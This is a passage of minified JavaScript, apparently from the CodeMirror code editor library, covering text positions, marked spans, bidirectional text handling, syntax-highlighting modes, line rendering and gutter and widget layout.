a.lines[d].height;if(b<e)break;b-=e}return c+d}function rb(a,b){return b>=a.first&&b<a.first+a.size}function Qc(a,b){return String(a.lineNumberFormatter(b+a.firstLineNumber))}function r(a,b,c){void 0===c&&(c=null);if(!(this instanceof r))return new r(a,b,c);this.line=a;this.ch=b;this.sticky=c}function A(a,b){return a.line-b.line||a.ch-b.ch}function Rc(a,b){return a.sticky==b.sticky&&0==A(a,b)}function Sc(a){return r(a.line,a.ch)}function hc(a,b){return 0>A(a,b)?b:a}function ic(a,b){return 0>A(a,b)?
a:b}function x(a,b){if(b.line<a.first)return r(a.first,0);var c=a.first+a.size-1;if(b.line>c)return r(c,u(a,c).text.length);a=u(a,b.line).text.length;c=b.ch;b=null==c||c>a?r(b.line,a):0>c?r(b.line,0):b;return b}function Ud(a,b){for(var c=[],d=0;d<b.length;d++)c[d]=x(a,b[d]);return c}function jc(a,b,c){this.marker=a;this.from=b;this.to=c}function sb(a,b){if(a)for(var c=0;c<a.length;++c){var d=a[c];if(d.marker==b)return d}}function Tc(a,b){if(b.full)return null;var c=rb(a,b.from.line)&&u(a,b.from.line).markedSpans,
d=rb(a,b.to.line)&&u(a,b.to.line).markedSpans;if(!c&&!d)return null;a=b.from.ch;var e=b.to.ch,f=0==A(b.from,b.to),g;if(c)for(var h=0;h<c.length;++h){var k=c[h],l=k.marker;if(null==k.from||(l.inclusiveLeft?k.from<=a:k.from<a)||!(k.from!=a||"bookmark"!=l.type||f&&k.marker.insertLeft)){var m=null==k.to||(l.inclusiveRight?k.to>=a:k.to>a);(g||(g=[])).push(new jc(l,k.from,m?null:k.to))}}var c=g,p;if(d)for(g=0;g<d.length;++g)if(h=d[g],k=h.marker,null==h.to||(k.inclusiveRight?h.to>=e:h.to>e)||h.from==e&&
"bookmark"==k.type&&(!f||h.marker.insertLeft))l=null==h.from||(k.inclusiveLeft?h.from<=e:h.from<e),(p||(p=[])).push(new jc(k,l?null:h.from-e,null==h.to?null:h.to-e));d=1==b.text.length;e=y(b.text).length+(d?a:0);if(c)for(f=0;f<c.length;++f)if(g=c[f],null==g.to)(h=sb(p,g.marker),h)?d&&(g.to=null==h.to?null:h.to+e):g.to=a;if(p)for(a=0;a<p.length;++a)f=p[a],null!=f.to&&(f.to+=e),null==f.from?sb(c,f.marker)||(f.from=e,d&&(c||(c=[])).push(f)):(f.from+=e,d&&(c||(c=[])).push(f));c&&(c=Vd(c));p&&p!=c&&(p=
Vd(p));a=[c];if(!d){b=b.text.length-2;var n;if(0<b&&c)for(d=0;d<c.length;++d)null==c[d].to&&(n||(n=[])).push(new jc(c[d].marker,null,null));for(c=0;c<b;++c)a.push(n);a.push(p)}return a}function Vd(a){for(var b=0;b<a.length;++b){var c=a[b];null!=c.from&&c.from==c.to&&!1!==c.marker.clearWhenEmpty&&a.splice(b--,1)}return a.length?a:null}function eg(a,b,c){var d=null;a.iter(b.line,c.line+1,function(a){if(a.markedSpans)for(var b=0;b<a.markedSpans.length;++b){var c=a.markedSpans[b].marker;!c.readOnly||
d&&-1!=Q(d,c)||(d||(d=[])).push(c)}});if(!d)return null;a=[{from:b,to:c}];for(b=0;b<d.length;++b){c=d[b];for(var e=c.find(0),f=0;f<a.length;++f){var g=a[f];if(!(0>A(g.to,e.from)||0<A(g.from,e.to))){var h=[f,1],k=A(g.from,e.from),l=A(g.to,e.to);(0>k||!c.inclusiveLeft&&!k)&&h.push({from:g.from,to:e.from});(0<l||!c.inclusiveRight&&!l)&&h.push({from:e.to,to:g.to});a.splice.apply(a,h);f+=h.length-3}}}return a}function Wd(a){var b=a.markedSpans;if(b){for(var c=0;c<b.length;++c)b[c].marker.detachLine(a);
a.markedSpans=null}}function Xd(a,b){if(b){for(var c=0;c<b.length;++c)b[c].marker.attachLine(a);a.markedSpans=b}}function Yd(a,b){var c=a.lines.length-b.lines.length;if(0!=c)return c;var c=a.find(),d=b.find(),e=A(c.from,d.from)||(a.inclusiveLeft?-1:0)-(b.inclusiveLeft?-1:0);return e?-e:(c=A(c.to,d.to)||(a.inclusiveRight?1:0)-(b.inclusiveRight?1:0))?c:b.id-a.id}function Ja(a,b){a=ya&&a.markedSpans;if(a)for(var c,d=0;d<a.length;++d)if(c=a[d],c.marker.collapsed&&null==(b?c.from:c.to)&&(!e||0>Yd(e,c.marker)))var e=
c.marker;return e}function Zd(a,b,c,d,e){a=u(a,b);if(a=ya&&a.markedSpans)for(b=0;b<a.length;++b){var f=a[b];if(f.marker.collapsed){var g=f.marker.find(0),h=A(g.from,c)||(f.marker.inclusiveLeft?-1:0)-(e.inclusiveLeft?-1:0),k=A(g.to,d)||(f.marker.inclusiveRight?1:0)-(e.inclusiveRight?1:0);if(!(0<=h&&0>=k||0>=h&&0<=k)&&(0>=h&&(f.marker.inclusiveRight&&e.inclusiveLeft?0<=A(g.to,c):0<A(g.to,c))||0<=h&&(f.marker.inclusiveRight&&e.inclusiveLeft?0>=A(g.from,d):0>A(g.from,d))))return!0}}}function na(a){for(var b;b=
Ja(a,!0);)a=b.find(-1,!0).line;return a}function Uc(a,b){a=u(a,b);var c=na(a);return a==c?b:E(c)}function $d(a,b){if(b>a.lastLine())return b;var c=u(a,b);if(!Ka(a,c))return b;for(;a=Ja(c,!1);)c=a.find(1,!0).line;return E(c)+1}function Ka(a,b){var c=ya&&b.markedSpans;if(c)for(var d,e=0;e<c.length;++e)if(d=c[e],d.marker.collapsed&&(null==d.from||!d.marker.widgetNode&&0==d.from&&d.marker.inclusiveLeft&&Vc(a,b,d)))return!0}function Vc(a,b,c){if(null==c.to)return b=c.marker.find(1,!0),Vc(a,b.line,sb(b.line.markedSpans,
c.marker));if(c.marker.inclusiveRight&&c.to==b.text.length)return!0;for(var d,e=0;e<b.markedSpans.length;++e)if(d=b.markedSpans[e],d.marker.collapsed&&!d.marker.widgetNode&&d.from==c.to&&(null==d.to||d.to!=c.from)&&(d.marker.inclusiveLeft||c.marker.inclusiveRight)&&Vc(a,b,d))return!0}function oa(a){a=na(a);for(var b=0,c=a.parent,d=0;d<c.lines.length;++d){var e=c.lines[d];if(e==a)break;else b+=e.height}for(a=c.parent;a;c=a,a=c.parent)for(d=0;d<a.children.length&&(e=a.children[d],e!=c);++d)b+=e.height;
return b}function kc(a){if(0==a.height)return 0;for(var b=a.text.length,c,d=a;c=Ja(d,!0);)c=c.find(0,!0),d=c.from.line,b+=c.from.ch-c.to.ch;for(d=a;c=Ja(d,!1);)a=c.find(0,!0),b-=d.text.length-a.from.ch,d=a.to.line,b+=d.text.length-a.to.ch;return b}function Wc(a){var b=a.display;a=a.doc;b.maxLine=u(a,a.first);b.maxLineLength=kc(b.maxLine);b.maxLineChanged=!0;a.iter(function(a){var d=kc(a);d>b.maxLineLength&&(b.maxLineLength=d,b.maxLine=a)})}function fg(a,b,c,d){if(!a)return d(b,c,"ltr");for(var e=
!1,f=0;f<a.length;++f){var g=a[f];if(g.from<c&&g.to>b||b==c&&g.to==b)d(Math.max(g.from,b),Math.min(g.to,c),1==g.level?"rtl":"ltr"),e=!0}e||d(b,c,"ltr")}function Xc(a,b,c){var d;tb=null;for(var e=0;e<a.length;++e){var f=a[e];if(f.from<b&&f.to>b)return e;f.to==b&&(f.from!=f.to&&"before"==c?d=e:tb=e);f.from==b&&(f.from!=f.to&&"before"!=c?d=e:tb=e)}return null!=d?d:tb}function za(a,b){var c=a.order;null==c&&(c=a.order=gg(a.text,b));return c}function Yc(a,b,c){b=Td(a.text,b+c,c);return 0>b||b>a.text.length?
null:b}function Zc(a,b,c){a=Yc(a,b.ch,c);return null==a?null:new r(b.line,a,0>c?"after":"before")}function $c(a,b,c,d,e){if(a&&(a=za(c,b.doc.direction))){a=0>e?y(a):a[0];var f=0>e==(1==a.level)?"after":"before";if(0<a.level){var g=$a(b,c);var h=0>e?c.text.length-1:0;var k=sa(b,g,h).top;h=gc(function(a){return sa(b,g,a).top==k},0>e==(1==a.level)?a.from:a.to-1,h);"before"==f&&(h=Yc(c,h,1))}else h=0>e?a.to:a.from;return new r(d,h,f)}return new r(d,0>e?c.text.length:0,0>e?"before":"after")}function ae(a,
b,c,d){var e=za(b,a.doc.direction);if(!e)return Zc(b,c,d);c.ch>=b.text.length?(c.ch=b.text.length,c.sticky="before"):0>=c.ch&&(c.ch=0,c.sticky="after");var f=Xc(e,c.ch,c.sticky),g=e[f];if("ltr"==a.doc.direction&&0==g.level%2&&(0<d?g.to>c.ch:g.from<c.ch))return Zc(b,c,d);var h=function(a,d){return Yc(b,a instanceof r?a.ch:a,d)},k,l=function(d){if(!a.options.lineWrapping)return{begin:0,end:b.text.length};var c=k=k||$a(a,b);d=La(a,b,sa(a,c,d),"line").top;return be(a,b,c,d)},m=l("before"==c.sticky?h(c,
-1):c.ch);if("rtl"==a.doc.direction||1==g.level){var p=1==g.level==0>d,n=h(c,p?1:-1);if(null!=n&&(p?n<=g.to&&n<=m.end:n>=g.from&&n>=m.begin))return new r(c.line,n,p?"before":"after")}g=function(a,b,d){for(var f=function(a,b){return b?new r(c.line,h(a,1),"before"):new r(c.line,a,"after")};0<=a&&a<e.length;a+=b){var g=e[a],k=0<b==(1!=g.level),l=k?d.begin:h(d.end,-1);if(g.from<=l&&l<g.to)return f(l,k);l=k?g.from:h(g.to,-1);if(d.begin<=l&&l<d.end)return f(l,k)}};if(f=g(f+d,d,m))return f;m=0<d?m.end:h(m.begin,
-1);return null==m||0<d&&m==b.text.length||!(f=g(0<d?0:e.length-1,d,l(m)))?null:f}function ca(a,b,c){if(a.removeEventListener)a.removeEventListener(b,c,!1);else if(a.detachEvent)a.detachEvent("on"+b,c);else{var d=(a=a._handlers)&&a[b];d&&(c=Q(d,c),-1<c&&(a[b]=d.slice(0,c).concat(d.slice(c+1))))}}function J(a,b){var c=a._handlers&&a._handlers[b]||lc;if(c.length)for(var d=Array.prototype.slice.call(arguments,2),e=0;e<c.length;++e)c[e].apply(null,d)}function N(a,b,c){"string"==typeof b&&(b={type:b,preventDefault:function(){this.defaultPrevented=
!0}});J(a,c||b.type,a,b);return ad(b)||b.codemirrorIgnore}function ce(a){var b=a._handlers&&a._handlers.cursorActivity;if(b){a=a.curOp.cursorActivityHandlers||(a.curOp.cursorActivityHandlers=[]);for(var c=0;c<b.length;++c)-1==Q(a,b[c])&&a.push(b[c])}}function ga(a,b){return 0<(a._handlers&&a._handlers[b]||lc).length}function ab(a){a.prototype.on=function(a,c){v(this,a,c)};a.prototype.off=function(a,c){ca(this,a,c)}}function V(a){a.preventDefault?a.preventDefault():a.returnValue=!1}function de(a){a.stopPropagation?
a.stopPropagation():a.cancelBubble=!0}function ad(a){return null!=a.defaultPrevented?a.defaultPrevented:0==a.returnValue}function ub(a){V(a);de(a)}function ee(a){var b=a.which;null==b&&(a.button&1?b=1:a.button&2?b=3:a.button&4&&(b=2));ia&&a.ctrlKey&&1==b&&(b=3);return b}function hg(a){if(null==bd){var b=t("span","\u200b");F(a,t("span",[b,document.createTextNode("x")]));0!=a.firstChild.offsetHeight&&(bd=1>=b.offsetWidth&&2<b.offsetHeight&&!(D&&8>B))}a=bd?t("span","\u200b"):t("span","\u00a0",null,"display: inline-block; width: 1px; margin-right: -1px");
a.setAttribute("cm-text","");return a}function ig(a,b){2<arguments.length&&(b.dependencies=Array.prototype.slice.call(arguments,2));cd[a]=b}function mc(a){if("string"==typeof a&&bb.hasOwnProperty(a))a=bb[a];else if(a&&"string"==typeof a.name&&bb.hasOwnProperty(a.name)){var b=bb[a.name];"string"==typeof b&&(b={name:b});a=Rd(b,a);a.name=b.name}else{if("string"==typeof a&&/^[\w\-]+\/[\w\-]+\+xml$/.test(a))return mc("application/xml");if("string"==typeof a&&/^[\w\-]+\/[\w\-]+\+json$/.test(a))return mc("application/json")}return"string"==
typeof a?{name:a}:a||{name:"null"}}function dd(a,b){b=mc(b);var c=cd[b.name];if(!c)return dd(a,"text/plain");a=c(a,b);if(cb.hasOwnProperty(b.name)){var c=cb[b.name],d;for(d in c)c.hasOwnProperty(d)&&(a.hasOwnProperty(d)&&(a["_"+d]=a[d]),a[d]=c[d])}a.name=b.name;b.helperType&&(a.helperType=b.helperType);if(b.modeProps)for(var e in b.modeProps)a[e]=b.modeProps[e];return a}function jg(a,b){a=cb.hasOwnProperty(a)?cb[a]:cb[a]={};Ga(b,a)}function Ma(a,b){if(!0===b)return b;if(a.copyState)return a.copyState(b);
a={};for(var c in b){var d=b[c];d instanceof Array&&(d=d.concat([]));a[c]=d}return a}function ed(a,b){for(var c;a.innerMode;){c=a.innerMode(b);if(!c||c.mode==a)break;b=c.state;a=c.mode}return c||{mode:a,state:b}}function fe(a,b,c){return a.startState?a.startState(b,c):!0}function ge(a,b,c,d){var e=[a.state.modeGen],f={};he(a,b.text,a.doc.mode,c,function(a,b){return e.push(a,b)},f,d);d=c.state;for(var g=function(d){var g=a.state.overlays[d],h=1,k=0;c.state=!0;he(a,b.text,g.mode,c,function(a,b){for(var d=
h;k<a;){var c=e[h];c>a&&e.splice(h,1,a,e[h+1],c);h+=2;k=Math.min(a,c)}if(b)if(g.opaque)e.splice(d,h-d,a,"overlay "+b),h=d+2;else for(;d<h;d+=2)a=e[d+1],e[d+1]=(a?a+" ":"")+"overlay "+b},f)},h=0;h<a.state.overlays.length;++h)g(h);c.state=d;return{styles:e,classes:f.bgClass||f.textClass?f:null}}function ie(a,b,c){if(!b.styles||b.styles[0]!=a.state.modeGen){var d=vb(a,E(b)),e=b.text.length>a.options.maxHighlightLength&&Ma(a.doc.mode,d.state),f=ge(a,b,d);e&&(d.state=e);b.stateAfter=d.save(!e);b.styles=
f.styles;f.classes?b.styleClasses=f.classes:b.styleClasses&&(b.styleClasses=null);c===a.doc.highlightFrontier&&(a.doc.modeFrontier=Math.max(a.doc.modeFrontier,++a.doc.highlightFrontier))}return b.styles}function vb(a,b,c){var d=a.doc,e=a.display;if(!d.mode.startState)return new ta(d,!0,b);var f=kg(a,b,c),g=f>d.first&&u(d,f-1).stateAfter,h=g?ta.fromSaved(d,g,f):new ta(d,fe(d.mode),f);d.iter(f,b,function(d){fd(a,d.text,h);var c=h.line;d.stateAfter=c==b-1||0==c%5||c>=e.viewFrom&&c<e.viewTo?h.save():
null;h.nextLine()});c&&(d.modeFrontier=h.line);return h}function fd(a,b,c,d){var e=a.doc.mode;a=new L(b,a.options.tabSize,c);a.start=a.pos=d||0;for(""==b&&je(e,c.state);!a.eol();)gd(e,a,c.state),a.start=a.pos}function je(a,b){if(a.blankLine)return a.blankLine(b);if(a.innerMode&&(a=ed(a,b),a.mode.blankLine))return a.mode.blankLine(a.state)}function gd(a,b,c,d){for(var e=0;10>e;e++){d&&(d[0]=ed(a,c).mode);var f=a.token(b,c);if(b.pos>b.start)return f}throw Error("Mode "+a.name+" failed to advance stream.");
}function ke(a,b,c,d){var e=a.doc,f=e.mode;b=x(e,b);var g=u(e,b.line);c=vb(a,b.line,c);a=new L(g.text,a.options.tabSize,c);var h;for(d&&(h=[]);(d||a.pos<b.ch)&&!a.eol();){a.start=a.pos;var k=gd(f,a,c.state);d&&h.push(new le(a,k,Ma(e.mode,c.state)))}return d?h:new le(a,k,c.state)}function me(a,b){if(a)for(;;){var c=a.match(/(?:^|\s+)line-(background-)?(\S+)/);if(!c)break;a=a.slice(0,c.index)+a.slice(c.index+c[0].length);var d=c[1]?"bgClass":"textClass";null==b[d]?b[d]=c[2]:(new RegExp("(?:^|s)"+c[2]+
"(?:$|s)")).test(b[d])||(b[d]+=" "+c[2])}return a}function he(a,b,c,d,e,f,g){var h=c.flattenSpans;null==h&&(h=a.options.flattenSpans);var k=0,l=null,m=new L(b,a.options.tabSize,d),p=a.options.addModeClass&&[null];for(""==b&&me(je(c,d.state),f);!m.eol();){if(m.pos>a.options.maxHighlightLength){h=!1;g&&fd(a,b,d,m.pos);m.pos=b.length;var n=null}else n=me(gd(c,m,d.state,p),f);if(p){var q=p[0].name;q&&(n="m-"+(n?q+" "+n:q))}if(!h||l!=n){for(;k<m.start;)k=Math.min(m.start,k+5E3),e(k,l);l=n}m.start=m.pos}for(;k<
m.pos;)a=Math.min(m.pos,k+5E3),e(a,l),k=a}function kg(a,b,c){for(var d,e,f=a.doc,g=c?-1:b-(a.doc.mode.innerMode?1E3:100);b>g;--b){if(b<=f.first)return f.first;var h=u(f,b-1),k=h.stateAfter;if(k&&(!c||b+(k instanceof nc?k.lookAhead:0)<=f.modeFrontier))return b;h=fa(h.text,null,a.options.tabSize);if(null==e||d>h)e=b-1,d=h}return e}function lg(a,b){a.modeFrontier=Math.min(a.modeFrontier,b);if(!(a.highlightFrontier<b-10)){for(var c=a.first,d=b-1;d>c;d--){var e=u(a,d).stateAfter;if(e&&(!(e instanceof nc)||
d+e.lookAhead<b)){c=d+1;break}}a.highlightFrontier=Math.min(a.highlightFrontier,c)}}function ne(a,b){if(!a||/^\s*$/.test(a))return null;b=b.addModeClass?mg:ng;return b[a]||(b[a]=a.replace(/\S+/g,"cm-$&"))}function oe(a,b){var c=U("span",null,null,T?"padding-right: .1px":null),c={pre:U("pre",[c],"CodeMirror-line"),content:c,col:0,pos:0,cm:a,trailingSpace:!1,splitSpaces:(D||T)&&a.getOption("lineWrapping")};b.measure={};for(var d=0;d<=(b.rest?b.rest.length:0);d++){var e=d?b.rest[d-1]:b.line,f=void 0;
c.pos=0;c.addToken=og;var g=a.display.measure;if(null!=hd)g=hd;else{var h=F(g,document.createTextNode("A\u062eA")),k=wb(h,0,1).getBoundingClientRect(),h=wb(h,1,2).getBoundingClientRect();H(g);g=k&&k.left!=k.right?hd=3>h.right-k.right:!1}g&&(f=za(e,a.doc.direction))&&(c.addToken=pg(c.addToken,f));c.map=[];var l=b!=a.display.externalMeasured&&E(e);a:{var m=h=k=g=void 0,p=void 0,n=void 0,q=void 0,f=c,l=ie(a,e,l),r=e.markedSpans,t=e.text,u=0;if(r)for(var v=t.length,K=0,A=1,x="",w=0;;){if(w==K){p=m=h=
k=n="";g=null;for(var w=Infinity,ua=[],y=void 0,C=0;C<r.length;++C){var z=r[C],B=z.marker;"bookmark"==B.type&&z.from==K&&B.widgetNode?ua.push(B):z.from<=K&&(null==z.to||z.to>K||B.collapsed&&z.to==K&&z.from==K)?(null!=z.to&&z.to!=K&&w>z.to&&(w=z.to,m=""),B.className&&(p+=" "+B.className),B.css&&(n=(n?n+";":"")+B.css),B.startStyle&&z.from==K&&(h+=" "+B.startStyle),B.endStyle&&z.to==w&&(y||(y=[])).push(B.endStyle,z.to),B.title&&!k&&(k=B.title),B.collapsed&&(!g||0>Yd(g.marker,B))&&(g=z)):z.from>K&&w>
z.from&&(w=z.from)}if(y)for(C=0;C<y.length;C+=2)y[C+1]==w&&(m+=" "+y[C]);if(!g||g.from==K)for(y=0;y<ua.length;++y)pe(f,0,ua[y]);if(g&&(g.from||0)==K){pe(f,(null==g.to?v+1:g.to)-K,g.marker,null==g.from);if(null==g.to)break a;g.to==K&&(g=!1)}}if(K>=v)break;for(ua=Math.min(v,w);;){if(x){y=K+x.length;g||(C=y>ua?x.slice(0,ua-K):x,f.addToken(f,C,q?q+p:p,h,K+C.length==w?m:"",k,n));if(y>=ua){x=x.slice(ua-K);K=ua;break}K=y;h=""}x=t.slice(u,u=l[A++]);q=ne(l[A++],f.cm.options)}}else for(g=1;g<l.length;g+=2)f.addToken(f,
t.slice(u,u=l[g]),ne(l[g+1],f.cm.options))}e.styleClasses&&(e.styleClasses.bgClass&&(c.bgClass=Jc(e.styleClasses.bgClass,c.bgClass||"")),e.styleClasses.textClass&&(c.textClass=Jc(e.styleClasses.textClass,c.textClass||"")));0==c.map.length&&c.map.push(0,0,c.content.appendChild(hg(a.display.measure)));0==d?(b.measure.map=c.map,b.measure.cache={}):((b.measure.maps||(b.measure.maps=[])).push(c.map),(b.measure.caches||(b.measure.caches=[])).push({}))}T&&(d=c.content.lastChild,/\bcm-tab\b/.test(d.className)||
d.querySelector&&d.querySelector(".cm-tab"))&&(c.content.className="cm-tab-wrap-hack");J(a,"renderLine",a,b.line,c.pre);c.pre.className&&(c.textClass=Jc(c.pre.className,c.textClass||""));return c}function qg(a){var b=t("span","\u2022","cm-invalidchar");b.title="\\u"+a.charCodeAt(0).toString(16);b.setAttribute("aria-label",b.title);return b}function og(a,b,c,d,e,f,g){if(b){if(a.splitSpaces){var h=a.trailingSpace;if(1<b.length&&!/  /.test(b))h=b;else{for(var k="",l=0;l<b.length;l++){var m=b.charAt(l);
" "!=m||!h||l!=b.length-1&&32!=b.charCodeAt(l+1)||(m="\u00a0");k+=m;h=" "==m}h=k}}else h=b;k=h;l=a.cm.state.specialChars;m=!1;if(l.test(b)){h=document.createDocumentFragment();for(var p=0;;){l.lastIndex=p;var n=l.exec(b),q=n?n.index-p:b.length-p;if(q){var r=document.createTextNode(k.slice(p,p+q));D&&9>B?h.appendChild(t("span",[r])):h.appendChild(r);a.map.push(a.pos,a.pos+q,r);a.col+=q;a.pos+=q}if(!n)break;p+=q+1;"\t"==n[0]?(n=a.cm.options.tabSize,n-=a.col%n,q=h.appendChild(t("span",Mc(n),"cm-tab")),
q.setAttribute("role","presentation"),q.setAttribute("cm-text","\t"),a.col+=n):("\r"==n[0]||"\n"==n[0]?(q=h.appendChild(t("span","\r"==n[0]?"\u240d":"\u2424","cm-invalidchar")),q.setAttribute("cm-text",n[0])):(q=a.cm.options.specialCharPlaceholder(n[0]),q.setAttribute("cm-text",n[0]),D&&9>B?h.appendChild(t("span",[q])):h.appendChild(q)),a.col+=1);a.map.push(a.pos,a.pos+1,q);a.pos++}}else a.col+=b.length,h=document.createTextNode(k),a.map.push(a.pos,a.pos+b.length,h),D&&9>B&&(m=!0),a.pos+=b.length;
a.trailingSpace=32==k.charCodeAt(b.length-1);if(c||d||e||m||g)return b=c||"",d&&(b+=d),e&&(b+=e),d=t("span",[h],b,g),f&&(d.title=f),a.content.appendChild(d);a.content.appendChild(h)}}function pg(a,b){return function(c,d,e,f,g,h,k){e=e?e+" cm-force-border":"cm-force-border";for(var l=c.pos,m=l+d.length;;){for(var p=void 0,n=0;n<b.length&&!(p=b[n],p.to>l&&p.from<=l);n++);if(p.to>=m)return a(c,d,e,f,g,h,k);a(c,d.slice(0,p.to-l),e,f,null,h,k);f=null;d=d.slice(p.to-l);l=p.to}}}function pe(a,b,c,d){var e=
!d&&c.widgetNode;e&&a.map.push(a.pos,a.pos+b,e);!d&&a.cm.display.input.needsContentAttribute&&(e||(e=a.content.appendChild(document.createElement("span"))),e.setAttribute("cm-marker",c.id));e&&(a.cm.display.input.setUneditable(e),a.content.appendChild(e));a.pos+=b;a.trailingSpace=!1}function qe(a,b,c){for(var d=this.line=b,e;d=Ja(d,!1);)d=d.find(1,!0).line,(e||(e=[])).push(d);this.size=(this.rest=e)?E(y(this.rest))-c+1:1;this.node=this.text=null;this.hidden=Ka(a,b)}function oc(a,b,c){var d=[],e;for(e=
b;e<c;)b=new qe(a.doc,u(a.doc,e),e),e+=b.size,d.push(b);return d}function rg(a,b){if(a=a.ownsGroup)try{var c=a.delayedCallbacks,d=0;do{for(;d<c.length;d++)c[d].call(null);for(var e=0;e<a.ops.length;e++){var f=a.ops[e];if(f.cursorActivityHandlers)for(;f.cursorActivityCalled<f.cursorActivityHandlers.length;)f.cursorActivityHandlers[f.cursorActivityCalled++].call(null,f.cm)}}while(d<c.length)}finally{db=null,b(a)}}function R(a,b){var c=a._handlers&&a._handlers[b]||lc;if(c.length){var d=Array.prototype.slice.call(arguments,
2);if(db)var e=db.delayedCallbacks;else xb?e=xb:(e=xb=[],setTimeout(sg,0));for(var f=function(a){e.push(function(){return c[a].apply(null,d)})},g=0;g<c.length;++g)f(g)}}function sg(){var a=xb;xb=null;for(var b=0;b<a.length;++b)a[b]()}function re(a,b,c,d){for(var e=0;e<b.changes.length;e++){var f=b.changes[e];if("text"==f){var f=a,g=b,h=g.text.className,k=se(f,g);g.text==g.node&&(g.node=k.pre);g.text.parentNode.replaceChild(k.pre,g.text);g.text=k.pre;k.bgClass!=g.bgClass||k.textClass!=g.textClass?
(g.bgClass=k.bgClass,g.textClass=k.textClass,id(f,g)):h&&(g.text.className=h)}else if("gutter"==f)te(a,b,c,d);else if("class"==f)id(a,b);else if("widget"==f){f=a;g=b;h=d;g.alignable&&(g.alignable=null);for(var k=g.node.firstChild,l;k;k=l)l=k.nextSibling,"CodeMirror-linewidget"==k.className&&g.node.removeChild(k);ue(f,g,h)}}b.changes=null}function yb(a){a.node==a.text&&(a.node=t("div",null,null,"position: relative"),a.text.parentNode&&a.text.parentNode.replaceChild(a.node,a.text),a.node.appendChild(a.text),
D&&8>B&&(a.node.style.zIndex=2));return a.node}function se(a,b){var c=a.display.externalMeasured;return c&&c.line==b.line?(a.display.externalMeasured=null,b.measure=c.measure,c.built):oe(a,b)}function id(a,b){var c=b.bgClass?b.bgClass+" "+(b.line.bgClass||""):b.line.bgClass;c&&(c+=" CodeMirror-linebackground");if(b.background)c?b.background.className=c:(b.background.parentNode.removeChild(b.background),b.background=null);else if(c){var d=yb(b);b.background=d.insertBefore(t("div",null,c),d.firstChild);
a.display.input.setUneditable(b.background)}b.line.wrapClass?yb(b).className=b.line.wrapClass:b.node!=b.text&&(b.node.className="");b.text.className=(b.textClass?b.textClass+" "+(b.line.textClass||""):b.line.textClass)||""}function te(a,b,c,d){b.gutter&&(b.node.removeChild(b.gutter),b.gutter=null);b.gutterBackground&&(b.node.removeChild(b.gutterBackground),b.gutterBackground=null);if(b.line.gutterClass){var e=yb(b);b.gutterBackground=t("div",null,"CodeMirror-gutter-background "+b.line.gutterClass,
"left: "+(a.options.fixedGutter?d.fixedPos:-d.gutterTotalWidth)+"px; width: "+d.gutterTotalWidth+"px");a.display.input.setUneditable(b.gutterBackground);e.insertBefore(b.gutterBackground,b.text)}e=b.line.gutterMarkers;if(a.options.lineNumbers||e){var f=yb(b),g=b.gutter=t("div",null,"CodeMirror-gutter-wrapper","left: "+(a.options.fixedGutter?d.fixedPos:-d.gutterTotalWidth)+"px");a.display.input.setUneditable(g);f.insertBefore(g,b.text);b.line.gutterClass&&(g.className+=" "+b.line.gutterClass);!a.options.lineNumbers||
e&&e["CodeMirror-linenumbers"]||(b.lineNumber=g.appendChild(t("div",Qc(a.options,c),"CodeMirror-linenumber CodeMirror-gutter-elt","left: "+d.gutterLeft["CodeMirror-linenumbers"]+"px; width: "+a.display.lineNumInnerWidth+"px")));if(e)for(b=0;b<a.options.gutters.length;++b)c=a.options.gutters[b],(f=e.hasOwnProperty(c)&&e[c])&&g.appendChild(t("div",[f],"CodeMirror-gutter-elt","left: "+d.gutterLeft[c]+"px; width: "+d.gutterWidth[c]+"px"))}}function tg(a,b,c,d){var e=se(a,b);b.text=b.node=e.pre;e.bgClass&&
(b.bgClass=e.bgClass);e.textClass&&(b.textClass=e.textClass);id(a,b);te(a,b,c,d);ue(a,b,d);return b.node}function ue(a,b,c){ve(a,b.line,b,c,!0);if(b.rest)for(var d=0;d<b.rest.length;d++)ve(a,b.rest[d],b,c,!1)}function ve(a,b,c,d,e){if(b.widgets){var f=yb(c),g=0;for(b=b.widgets;g<b.length;++g){var h=b[g],k=t("div",[h.node],"CodeMirror-linewidget");h.handleMouseEvents||k.setAttribute("cm-ignore-events","true");var l=h,m=k,p=d;if(l.noHScroll){(c.alignable||(c.alignable=[])).push(m);var n=p.wrapperWidth;
m.style.left=p.fixedPos+"px";l.coverGutter||(n-=p.gutterTotalWidth,m.style.paddingLeft=p.gutterTotalWidth+"px");m.style.width=n+"px"}l.coverGutter&&(m.style.zIndex=5,m.style.position="relative",l.noHScroll||(m.style.marginLeft=-p.gutterTotalWidth+"px"));a.display.input.setUneditable(k);e&&h.above?f.insertBefore(k,c.gutter||c.text):f.appendChild(k);R(h,"redraw")}}}function zb(a){if(null!=a.height)return a.height;var b=a.doc.cm;if(!b)return 0;if(!ha(document.body,a.node)){var c="position: relative;";
a.coverGutter&&(c+="margin-left: -"+b.display.gutters.offsetWidth+"px;");a.noHScroll&&(c+="width: "+b.display.wrapper.clientWidth+"px;");F(b.display.measure,t("div",[a.node],null,c))}return a.height=a.node.parentNode.offsetHeight}function va(a,b){for(b=b.target||b.srcElement;b!=a.wrapper;b=b.parentNode)if(!b||1==b.nodeType&&"true"==b.getAttribute("cm-ignore-events")||b.parentNode==a.sizer&&b!=a.mover)return!0}function jd(a){return a.mover.offsetHeight-a.lineSpace.offsetHeight}function we(a){if(a.cachedPaddingH)return a.cachedPaddingH;
var b=F(a.measure,t("pre","x")),b=window.getComputedStyle?window.getComputedStyle(b):b.currentStyle,b={left:parseInt(b.paddingLeft),right:parseInt(b.paddingRight)};isNaN(b.left)||isNaN(b.right)||(a.cachedPaddingH=b);return b}function pa(a){return 30-a.display.nativeBarWidth}function Na(a){return a.display.scroller.clientWidth-pa(a)-a.display.barWidth}function kd(a){return a.display.scroller.clientHeight-pa(a)-a.display.barHeight}function xe(a,b,c){if(a.line==b)return{map:a.measure.map,cache:a.measure.cache};
for(var d=0;d<a.rest.length;d++)if(a.rest[d]==b)return{map:a.measure.maps[d],cache:a.measure.caches[d]};for(b=0;b<a.rest.length;b++)if(E(a.rest[b])>c)return{map:a.measure.maps[b],cache:a.measure.caches[b],before:!0}}function ld(a,b){if(b>=a.display.viewFrom&&b<a.display.viewTo)return a.display.view[Oa(a,b)];if((a=a.display.externalMeasured)&&b>=a.lineN&&b<a.lineN+a.size)return a}function $a(a,b){var c=E(b),d=ld(a,c);d&&!d.text?d=null:d&&d.changes&&(re(a,d,c,md(a)),a.curOp.forceUpdate=!0);if(!d){var e=
